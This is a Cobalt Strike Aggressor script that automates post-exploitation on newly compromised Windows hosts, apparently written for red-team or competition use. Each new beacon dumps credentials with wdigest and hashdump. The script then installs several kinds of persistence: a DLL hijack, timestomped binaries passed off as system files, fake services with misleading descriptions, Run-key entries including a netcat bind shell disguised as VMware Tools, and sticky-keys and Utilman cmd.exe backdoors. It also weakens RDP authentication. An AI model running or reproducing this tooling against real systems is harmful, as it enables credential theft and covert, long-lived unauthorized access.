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beacon_initial.cna
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#################################################
# Created by @jgaudard :: I don't twitter much
# Aggressor script for initial_beacon with cobaltstrike
# Created: 29 Sept 2016 Modified: 28 Mar 2017
# Version 2.0
#################################################
$listener = "local - 443";
sub getanypid {
bps($1, lambda({
local('$pid $name $entry');
foreach $entry (split("\n", $2)) {
($name, $ppid, $pid) = split("\\s+", $entry);
if ($name eq $proc) {
# $1 is our Beacon ID, $pid is the PID of $proc
[$callback: $1, $proc, $pid];
}
}
}, $proc => $2, $callback => $3));
}
sub persist_linkinfo {
if (beacon_info($1, 'is64') == 1) {
if (-exists script_resource("linkinfo.dll")) {
blog($1, "Setting up linkinfo.dll persistence.");
bcd($1, 'c:\windows');
bupload($1, script_resource("linkinfo.dll"));
btimestomp($1, "linkinfo.dll", 'c:\\windows\\sysnative\\linkinfo.dll');
}
else {
berror($1, "linkinfo.dll not found.");
}
}
else {
if (-exists script_resource("linkinfo32.dll")) {
blog($1, "Setting up linkinfo.dll persistence.");
bcd($1, 'c:\windows');
bupload($1, script_resource("linkinfo32.dll"));
bshell($1, "move c:\\windows\\linkinfo32.dll c:\\windows\\linkinfo.dll");
btimestomp($1, "linkinfo.dll", 'c:\\windows\\sysnative\\linkinfo.dll');
}
else {
berror($1, "linkinfo32.dll not found.");
}
}
}
sub persist_scorebot {
if (beacon_info($1, 'is64') == 1) {
if (-exists script_resource("scorebot.exe")) {
blog($1, "Setting up Scorebot Service Persistence");
bcd($1, 'c:\windows\system32');
bupload($1, script_resource("scorebot.exe"));
btimestomp($1, "scorebot.exe", "cmd.exe");
bshell($1, 'sc delete scorebot');
bshell($1, 'sc create scorebot binPath= "C:\windows\scorebot.exe" start= auto DisplayName= "Scoring Engine Service"');
bshell($1, 'sc description scorebot "Scoring engine required for white team tracking uptime and services of the host."');
bshell($1, 'sc start scorebot');
}
else {
berror($1, "scorebot.exe does not exist :(");
}
}
else {
if (-exists script_resource("scorebot32.exe")) {
blog($1, "Setting up Scorebot Service Persistence");
bcd($1, 'c:\windows');
bupload($1, script_resource("scorebot32.exe"));
btimestomp($1, "scorebot32.exe", ".\\system32\\cmd.exe");
bshell($1, 'sc delete scorebot');
bshell($1, 'sc create scorebot binPath= "C:\windows\scorebot32.exe" start= auto DisplayName= "Scoring Engine Service"');
bshell($1, 'sc description scorebot "Scoring engine required for white team tracking uptime and services of the host."');
bshell($1, 'sc start scorebot');
}
else {
berror($1, "scorebot.exe does not exist :(");
}
}
}
sub persist_runkey_ie {
if (beacon_info($1, 'is64') == 1) {
if (-exists script_resource("jsdbgui.exe")) {
blog($1, "Setting up run key persistence for jsdbgui.exe");
bcd($1, 'c:\\program files\\internet explorer');
bupload($1, script_resource("jsdbgui.exe"));
btimestomp($1, "jsdbgui.exe", "jsdbgui.dll");
bshell($1, 'REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Java Script Debug GUI" /t REG_SZ /d "C:\Program Files\Internet Explorer\jsdbgui.exe" /f');
}
else {
berror($1, "jsdbgui.exe does not exist :(");
}
}
else {
if (-exists script_resource("jsdbgui32.exe")) {
blog($1, "Setting up run key persistence for jsdbgui.exe");
bcd($1, 'c:\\program files\\internet explorer');
bupload($1, script_resource("jsdbgui32.exe"));
bshell($1, "move c:\\program files\\internet explorer\\jsdbgui32.exe c:\\program files\\internet explorer\\jsdbgui.exe");
btimestomp($1, "jsdbgui.exe", "jsdbgui.dll");
bshell($1, 'REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Java Script Debug GUI" /t REG_SZ /d "C:\Program Files\Internet Explorer\jsdbgui.exe" /f');
}
else {
berror($1, "jsdbgui32.exe does not exist :(");
}
}
}
sub persist_runkey_netcat {
if (-exists script_resource("vmtools.exe")) {
blog($1, "Setting up run key persistence for vmtools.exe");
bcd($1, 'c:\\program files\\vmware\\vmware tools');
bupload($1, script_resource("vmtools.exe")); ### copy /usr/share/windows-binaries/nc.exe to script directory
btimestomp($1, "vmtools.exe", "vmtoolsd.exe");
bshell($1, 'REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "VMware Tools" /t REG_SZ /d "C:\Program Files\Internet Explorer\vmtools.exe -lp 8080 -e cmd.exe" /f');
}
else {
berror($1, "vmtools.exe does not exist :(");
}
}
sub stickykeys {
binput($1, 'Running setup for StickyKeys');
bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f');
bshell($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe" /f');
bshell($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Utilman.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f');
bshell($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DisplaySwitch.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f');
bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d "0" /f');
bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f');
bshell($1, 'netsh firewall set service type = remotedesktop mode = enable');
bshell($1, 'netsh advfirewall firewall set rule group="remote desktop" new enable=Yes');
bshell($1, 'net start TermService');
binput($1, 'Running setup for PSRemoting');
bpowershell($1, 'Enable-PSRemoting -Force');
}
sub persist_diagsvc {
if (beacon_info($1, 'is64') == 1) {
if (-exists script_resource("diagsvc.exe")) {
blog($1, "Setting up 'Diagnostic System Manager Service Persistence'");
bcd($1, 'c:\windows');
bupload($1, script_resource("diagsvc.exe"));
btimestomp($1, "diagsvc.exe", "cmd.exe");
bshell($1, 'sc delete diagsvc');
bshell($1, 'sc create diagsvc binPath= "C:\windows\diagsvc.exe" start= auto DisplayName= "Diagnostic System Manager"');
bshell($1, 'sc description diagsvc "The Diagnostic System Manager is used by the Diagnostic System Host service to manage diagnostics and run in a system context. If this service is stopped any diagnostics that depend on it will no longer function."');
}
else {
berror($1, "diagsvc.exe does not exist :(");
}
}
else {
if (-exists script_resource("diagsvc32.exe")) {
blog($1, "Setting up 'Diagnostic System Manager Service Persistence'");
bcd($1, 'c:\windows');
bupload($1, script_resource("diagsvc32.exe"));
btimestomp($1, "diagsvc32.exe", "cmd.exe");
bshell($1, 'sc delete diagsvc');
bshell($1, 'sc create diagsvc binPath= "C:\windows\diagsvc32.exe" start= auto DisplayName= "Diagnostic System Manager"');
bshell($1, 'sc description diagsvc "The Diagnostic System Manager is used by the Diagnostic System Host service to manage diagnostics and run in a system context. If this service is stopped any diagnostics that depend on it will no longer function."');
}
else {
berror($1, "diagsvc32.exe does not exist :(");
}
}
}
sub persist_unquotepath {
if (beacon_info($1, 'is64') == 1) {
if (-exists script_resource("program.exe")) {
blog($1, "Setting up unquoted path persistence with c:\windows\program.exe");
bcd($1, 'c:\\');
bupload($1, script_resource("program.exe"));
btimestomp($1, "program.exe", "c:\\windows\\explorer.exe");
}
else {
berror($1, "program.exe not found");
}
}
else {
if (-exists script_resource("program32.exe")) {
blog($1, "Setting up unquoted path persistence with c:\windows\program.exe");
bcd($1, 'c:\\');
bupload($1, script_resource("program32.exe"));
bshell($1, "move c:\\program32.exe c:\\program.exe");
btimestomp($1, "program.exe", "c:\\windows\\explorer.exe");
}
else {
berror($1, "program32.exe not found");
}
}
}
sub persistence {
#if (some check == true then break before persisting
persist_linkinfo($1);
persist_runkey_ie($1);
persist_runkey_netcat($1);
stickykeys($1);
persist_unquotepath($1);
}
on beacon_initial {
bsleep($1, 15, 50);
bwdigest($1);
bhashdump($1);
bsleep($1, 30, 50);
persistence($1);
}